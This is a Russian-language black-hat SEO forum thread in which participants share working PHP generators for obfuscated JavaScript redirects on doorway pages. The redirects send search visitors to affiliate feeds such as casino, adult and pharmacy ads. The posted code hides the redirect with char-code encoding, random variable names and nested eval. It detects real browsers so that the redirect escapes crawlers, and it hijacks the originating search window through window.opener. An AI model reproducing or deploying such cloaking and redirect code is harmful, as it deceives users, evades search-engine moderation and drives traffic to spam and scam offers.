Скрипт генерации шифрованного редиректа

Статус
В этой теме нельзя размещать новые ответы.
MisterX написал(а):
А ты думаешь гугл нормально к этому отнесется ?
быстрее бот забанит с редиректом, но это по моим наблюдениям
 
Занимался тут апгрейдом доргена санчеза, и вообщем родился скрипт генерации редиректа на php (то же самое что и в начале топика, только на php:(

Функция
generate_redirect('запрос',номер фида,айди в umaxsearch)
возвратит шифрованный сразу двумя способами javascript с редиректом.
А можно любую строку зашифровать: code_string($str)

Номера фидов:
1: topsearch10
2: searchadv
3: topmeds10
4: topauto10
5: topadult10
6: toptravel10
7: topcasino10
 
Глубокая имха - с такой командой хоть шифруй, хоть с бубном танцуй - Гугл напрягается.

Правда напрячься может не сразу, но это один из подозрительных факторов.

Итоговый скрипт будет типа такого:
PHP:
<script>var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!  [поскипано]  112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);</script>
Нет там eval ;)
 
Из дора можно вытащить 2 клика, один редиректом, а второй открытием страницы в окне поисковика.
Кодом типа - if (parent.window.opener)parent.window.opener.location="http://www.partnerka.ru"

Мои простенькие низкоуровневые доры оно спокойно цитировало.

Конечно на разную рекламу.

Еще в фрейме можно ставить страницу с кодом разрушающим фрейм и редиректом.

И извиняюсь, если уже это всем известно, просто об этом никто ничего не говорит.
 
Я пожалуй тоже выложу свой скрипт редиректа.

На вход подаем урл, на какой делать редирект. Скрипт сам определяет с какого поисковика пришли, и с эти сабакком отправляет юзера.

Код:
function getRedirect($url)
	{
		$script = '';
			
		$script .= "<img src='badimg1.gif' width=10 height=10 border=0 id=\"img1\">
					<img src='badimg2.gif' width=10 height=10 border=0 id=\"img2\">";

		$script .= "<script language=\"JavaScript\" type=\"text/JavaScript\">";
		
		$script.= "
			var r=document.referrer,se=\"gb\";

			if(r.indexOf(\"google.\")!=-1){t=\"q\";se=\"google\";}
			if(r.indexOf(\"msn.\")!=-1){t=\"q\";se=\"msn\";}
			if(r.indexOf(\"live.\")!=-1){t=\"q\";se=\"live\";}
			if(r.indexOf(\"yahoo.\")!=-1){t=\"p\";se=\"yahoo\";}
			if(r.indexOf(\"altavista.\")!=-1){t=\"q\";se=\"altavista\";}
			if(r.indexOf(\"aol.\")!=-1){t=\"query\";se=\"aol\";}
			if(r.indexOf(\"ask.\")!=-1){t=\"q\";se=\"ask\";}
			if(r.indexOf(\"eureka.com.\")!=-1){t=\"q\";se=\"eureka.com\";}
			if(r.indexOf(\"lycos.com.\")!=-1){t=\"query\";se=\"lycos\";}
			if(r.indexOf(\"hotbot.com.\")!=-1){t=\"MT\";se=\"hotbot\";}
			if(r.indexOf(\"infoseek.com.\")!=-1){t=\"qt\";se=\"infoseek.com\";}
			if(r.indexOf(\"webcrawler.\")!=-1){t=\"searchText\";se=\"webcrawler\";}
			if(r.indexOf(\"excite.\")!=-1){t=\"search\";se=\"excite\";}
			if(r.indexOf(\"netscape.com.\")!=-1){t=\"search\";se=\"netscape\";}
			if(r.indexOf(\"mamma.com.\")!=-1){t=\"query\";se=\"mamma\";}
			if(r.indexOf(\"alltheweb.com.\")!=-1){t=\"query\";se=\"alltheweb.com\";}
			if(r.indexOf(\"northernlight.com.\")!=-1){t=\"qr\";se=\"northernlight.com\";}
			if(r.indexOf(\"rambler.ru.\")!=-1){t=\"words\";se=\"rambler.ru\";}
			if(r.indexOf(\"aport.ru.\")!=-1){t=\"r\";se=\"aport.ru\";}
			if(r.indexOf(\"yandex.ru.\")!=-1){t=\"text\";se=\"yandex.ru\";}
			if(r.indexOf(\"pingwin.ru.\")!=-1){t=\"searchword\";se=\"pingwin.ru\";}
			if(r.indexOf(\"www.ru.\")!=-1){t=\"Str_Find\";se=\"www.ru\";}
			if(r.indexOf(\"punto.ru.\")!=-1){t=\"text\";se=\"punto.ru\";} ";
			
		$letters = array('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','l','z','x','c','v','b','n','m',
						  'Q','W','E','R','T','Y','U','I','O','P','A','S','D','F','G','H','J','K','L','Z','X','C','V','N','M');
		$numbers = array ('1','2','3','4','5','6','7','8','9');

		$variables = array();
		for ($i=0;$i<10;$i++)
		{
			$variables[$i] = '';
			$t=rand(7,10);
			for($j=0;$j<$t;$j++)
				$variables[$i] .= $letters[ rand(0,sizeof($letters)-1) ];
			$t=rand(1,4);
			for($j=0;$j<$t;$j++)
				$variables[$i] .= $numbers[ rand(0,sizeof($numbers)-1) ];				
		}
		
		$value='';
		$t=rand(7,10);
		for($j=0;$j<$t;$j++)
			$value .= $letters[ rand(0,sizeof($letters)-1) ];
		$t=rand(1,4);
		for($j=0;$j<$t;$j++)
			$value .= $numbers[ rand(0,sizeof($numbers)-1) ];				
		
		$url_1 = substr($url,0,10);
		$url_2 = substr($url,10,10);
		$url_3 = substr($url,20,10);
		$url_4 = substr($url,30);
				
		$script.= "		
			function F() {
				var $variables[0] = 'on=';
				var $variables[1] = '$value';
				var $variables[2] ='ment';
				var $variables[3]='.lo';
				var $variables[4]='ti';
				var $variables[5]='docu';
				var urli2='$url_2';
				var urli3='$url_3';
				var urli1='$url_1';		
				var urli4='$url_4';
				var $variables[6]=urli1+urli2+urli3+urli4+\"&sub=\"+se;
				var $variables[7]='';
				var $variables[8] = 'ca';
				var $variables[9]='\"';
				if($variables[1] = '$value')eval($variables[5]+$variables[2]+$variables[3]+$variables[8]+$variables[4]+$variables[0]+$variables[9]+$variables[6]+$variables[7]+$variables[9]); 
			}
			
			function getAbsolutePos(el)
			{
			   var r = { x: el.offsetLeft, y: el.offsetTop };
			   if (el.offsetParent)
			   {
			       var tmp = getAbsolutePos(el.offsetParent);
			       r.x += tmp.x;
			       r.y += tmp.y;
			   }
			   return r;
			}

			function A()
			{
				obj = document.getElementById(\"img1\");
				pos = getAbsolutePos(obj);
				img1x = pos.x;
				img1y = pos.y;
				
				obj = document.getElementById(\"img2\");
				pos = getAbsolutePos(obj);
				img2x = pos.x;
				img2y = pos.y;		
			
				agent = navigator.userAgent;
			
				if (agent.indexOf(\"Windows\")!=-1)
				{				
					if (img1x != img2x) 
						F();  
				}
			}
			A();

			";

		$script.="</script>";

		return $script;
	}
 
насчет eval - вопрос спорный, гугла напрягает не редирект, а совокупность многих факторов, мои паги под низкочастотники живут подолгу и с eval

чтобы не быть голословным: в своем генераторе пользуюсь функцией (не моя, когда-то давно еще нашел, теперь юзаю:(
Код:
function code($sText)
{
        $iRnd = rand(1, 740);
        $s = ' var o = "" ; function d ( ) { i = 0 ; c = 0 ; while ( i < s.length ) { c
= Math.round ( s.charAt( i ) + s.charAt( i + 1 ) + s.charAt( i + 2 ) + s.charAt( i + 3 )
) - ' . $iRnd . '; i = i + 4 ; o += String.fromCharCode( c ) ; } document.write( o ) } d(
);';
        $a = array();
        for ($i = 0; $i < strlen($s); $i++)
        {
                $c = substr($s, $i, 1);
                $a[] = ord($c);
                if ($c == ' ')
                {
                        $rcn = rand(0, 3);
                        for ($j = 0; $j < $rcn; $j++)
                        {
                                $a[] = ord($c);
                        }
                }
        }
        $fp = '';
        for ($i = 0; $i < strlen($sText); $i++)
        {
                $c = substr($sText, $i, 1);
                $ic = ord($c);
                if ($ic >= 192 and $ic <= 255)
                        $ic += 848;
                if ($ic == 168)
                        $ic = 1025;
                if ($ic == 184)
                        $ic = 1105;
                $ic += $iRnd;
                $ac = '';
                if ($ic < 10)
                        $ac = '000';
                if ($ic >= 10 and $ic < 100)
                        $ac = '00';
                if ($ic >= 100 and $ic < 1000)
                        $ac = '0';
                $fp .= $ac . $ic;
        }
        return '<script language=javascript>
s = "' . $fp . '";
k = "f = String.fromCharCode(' . implode(',', $a) . ');";
eval(eval(k));
</script>' . "\n";
}
на входе не урл, а полный редирект. ИМХО лучше поизвращаться в исходном редиректе - например скрипт нажимает на кнопку или срабатывает при наведении мыши и т.д.
 
Доры уже все больше и больше становятся без редиректа. ;)
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху